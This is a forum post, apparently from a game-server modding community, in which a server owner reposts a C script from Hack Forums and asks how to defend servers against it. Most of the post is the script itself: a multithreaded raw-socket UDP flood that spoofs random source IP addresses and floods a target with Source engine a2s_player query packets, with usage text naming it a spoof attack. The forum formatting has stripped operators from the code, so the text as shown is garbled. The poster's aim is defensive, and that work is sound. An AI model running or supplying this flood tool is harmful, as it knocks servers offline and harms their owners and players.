Raised This Month: $ Target: $400
 0% 

How to fight "a2s_player spam" script? (IP rate limit sustained)


  
 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
Author Message
n3tman
New Member
Join Date: Dec 2015
Old 12-13-2015 , 13:20   How to fight "a2s_player spam" script? (IP rate limit sustained)
Reply With Quote #1

There has been many reports from server owners experiencing "IP rate limit sustained" attacks.

Notice that they started appearing in September 2015.

I think I've found the exact script that is used by the attackers and the place where they get it from.

It was posted on "Hack Forums" on the 6th of September. It's a free registration forum, so any kid can make an account there, find this script and use it to abuse servers.

[C] Source Player Query Spam (a2s_player spam)

PHP Code:
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
 
 
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
char sourceip[17];
 
static 
uint32_t Q[4096], 362436;
 
 
struct thread_data{
        
int throttle;
        
int thread_id;
        
unsigned int floodport;
        
struct sockaddr_in sin;
};
 
 
void init_rand(uint32_t x)
{
        
int i;
        
Q[0] = x;
        
Q[1] = PHI;
        
Q[2] = PHI PHI;
 
        for (
34096i++)
                
Q[i] = Q[3] ^ Q[2] ^ PHI i;
}
 
 
uint32_t rand_cmwc(void)
{
        
uint64_t t18782LL;
        static 
uint32_t i 4095;
        
uint32_t x0xfffffffe;
        
= (1) & 4095;
        
Q[i] + c;
        
= (>> 32);
        
c;
        if (
c) {
                
x++;
                
c++;
        }
        return (
Q[i] = x);
}
 
 
char *myStrCat (char *schar *a) {
    while (*
!= '\0's++;
    while (*
!= '\0') *s++ = *a++;
    *
'\0';
    return 
s;
}
 
 
char *replStr (char *strsize_t count) {
    if (
count == 0) return NULL;
    
char *ret malloc (strlen (str) * count count);
    if (
ret == NULL) return NULL;
    *
ret '\0';
    
char *tmp myStrCat (retstr);
    while (--
count 0) {
        
tmp myStrCat (tmpstr);
    }
    return 
ret;
}
 
/* Create header checksum*/
unsigned short csum (unsigned short *bufint nwords)
{
  
unsigned long sum;
  for (
sum 0nwords 0nwords--)
  
sum += *buf++;
  
sum = (sum >> 16) + (sum 0xffff);
  
sum += (sum >> 16);
  return (
unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
  
iph->ihl 5;
  
iph->version 4;
  
iph->tos 0;
iph->tot_len sizeof(struct iphdr) + sizeof(struct udphdr) + 9;
  
iph->id htonl(54321);
  
iph->frag_off 0;
  
iph->ttl MAXTTL;
  
iph->protocol IPPROTO_UDP;
  
iph->check 0;  
   
/* Base Address to start */
      
snprintf(sourceipsizeof(sourceip)-1"%d.%d.%d.%d"rand()%255rand()%255rand()%255rand()%255);
      
iph->saddr inet_addr(sourceip); // Holy fuck this is terrible
}
 
 
void setup_udp_header(struct udphdr *udph)
{
  
udph->source htons(27005);
  
udph->check 0;
  
char *data = (char *)udph sizeof(struct udphdr);
      
memcpy((void *)udph sizeof(struct udphdr), "\xFF\xFF\xFF\xFF\x55\x4B\xA1\xD5\x22"9);
      
udph->len=htons(sizeof(struct udphdr) + 9);
}
 
 
void *flood(void *par1)
{
  
struct thread_data *td = (struct thread_data *)par1;
  
fprintf(stdout"Thread %d started\n"td->thread_id);
  
char datagram[MAX_PACKET_SIZE];
  
struct iphdr *iph = (struct iphdr *)datagram;
  
struct udphdr *udph = (/*u_int8_t*/void *)iph sizeof(struct iphdr);
  
struct sockaddr_in sin td->sin;
  
char new_ip[sizeof "255.255.255.255"];
 
  
int s socket(PF_INETSOCK_RAWIPPROTO_TCP);
  if(
0){
    
fprintf(stderr"Could not open raw socket.\n");
    exit(-
1);
  }
  
unsigned int floodport td->floodport;
  
/* Reset data */
  
memset(datagram0MAX_PACKET_SIZE);
  
/* Set appropriate fields in headers */
  
setup_ip_header(iph);
  
setup_udp_header(udph);
  
udph->dest htons(floodport);
  
iph->daddr sin.sin_addr.s_addr;
  
iph->check csum ((unsigned short *) datagramiph->tot_len >> 1);
  
int tmp 1;
  const 
int *val = &tmp;
  if(
setsockopt(sIPPROTO_IPIP_HDRINCLvalsizeof (tmp)) < 0){
    
fprintf(stderr"Error: setsockopt() - Cannot set HDRINCL!\n");
    exit(-
1);
  }
  
int throttle td->throttle;
  
uint32_t random_num;
  
uint32_t ul_dst;
  
init_rand(time(NULL));
  if(
throttle == 0){
    while(
1){
      
sendto(sdatagramiph->tot_len0, (struct sockaddr *) &sinsizeof(sin));
      
random_num rand_cmwc();
 
      
ul_dst = (random_num >> 24 0xFF) << 24 |
               (
random_num >> 16 0xFF) << 16 |
               (
random_num >> 0xFF) << |
               (
random_num 0xFF);
      
iph->saddr ul_dst;
      
udph->source htons(random_num 0xFFFF);
      
iph->check csum ((unsigned short *) datagramiph->tot_len >> 1);
    }
  } else {
    while(
1){
      
throttle td->throttle;
      
sendto(sdatagramiph->tot_len0, (struct sockaddr *) &sinsizeof(sin));
      
random_num rand_cmwc();
      
ul_dst = (random_num >> 24 0xFF) << 24 |
               (
random_num >> 16 0xFF) << 16 |
               (
random_num >> 0xFF) << |
               (
random_num 0xFF);
      
iph->saddr ul_dst;
      
udph->source htons(random_num 0xFFFF);
      
iph->check csum ((unsigned short *) datagramiph->tot_len >> 1);
     while(--
throttle);
    }
  }
}
 
 
int main(int argcchar *argv[ ])
{
  if(
argc 5){
    
fprintf(stderr"Invalid parameters!\n");
    
fprintf(stdout"a2s_player (UDP Spoof Attack) \nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n"argv[0]);
    exit(-
1);
  }
  
fprintf(stdout"Setting up Sockets...\n");
  
int num_threads atoi(argv[4]);
  
unsigned int floodport atoi(argv[2]);
  
pthread_t thread[num_threads];
  
struct sockaddr_in sin;
  
sin.sin_family AF_INET;
  
sin.sin_port htons(floodport);
  
sin.sin_addr.s_addr inet_addr(argv[1]);
  
struct thread_data td[num_threads];
  
int i;
  for(
0;i<num_threads;i++){
    
td[i].thread_id i;
    
td[i].sin sin;
    
td[i].floodport floodport;
    
td[i].throttle atoi(argv[3]);
    
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  }
  
fprintf(stdout"Starting Flood...\n");
  if(
argc 5)
  {
    
sleep(atoi(argv[5]));
  } else {
    while(
1){
      
sleep(1);
    }
  }
 
  return 
0;

So, now that we know what we are fighting with, how do we protect our servers from it? What are the possible solutions?

We need your help, dear AlliedModders masterminds!

I'm a Linux noob myself, but I will try this and that iptables guides and report here if it helps.

Last edited by n3tman; 12-13-2015 at 13:25.
n3tman is offline
 



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 00:16.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode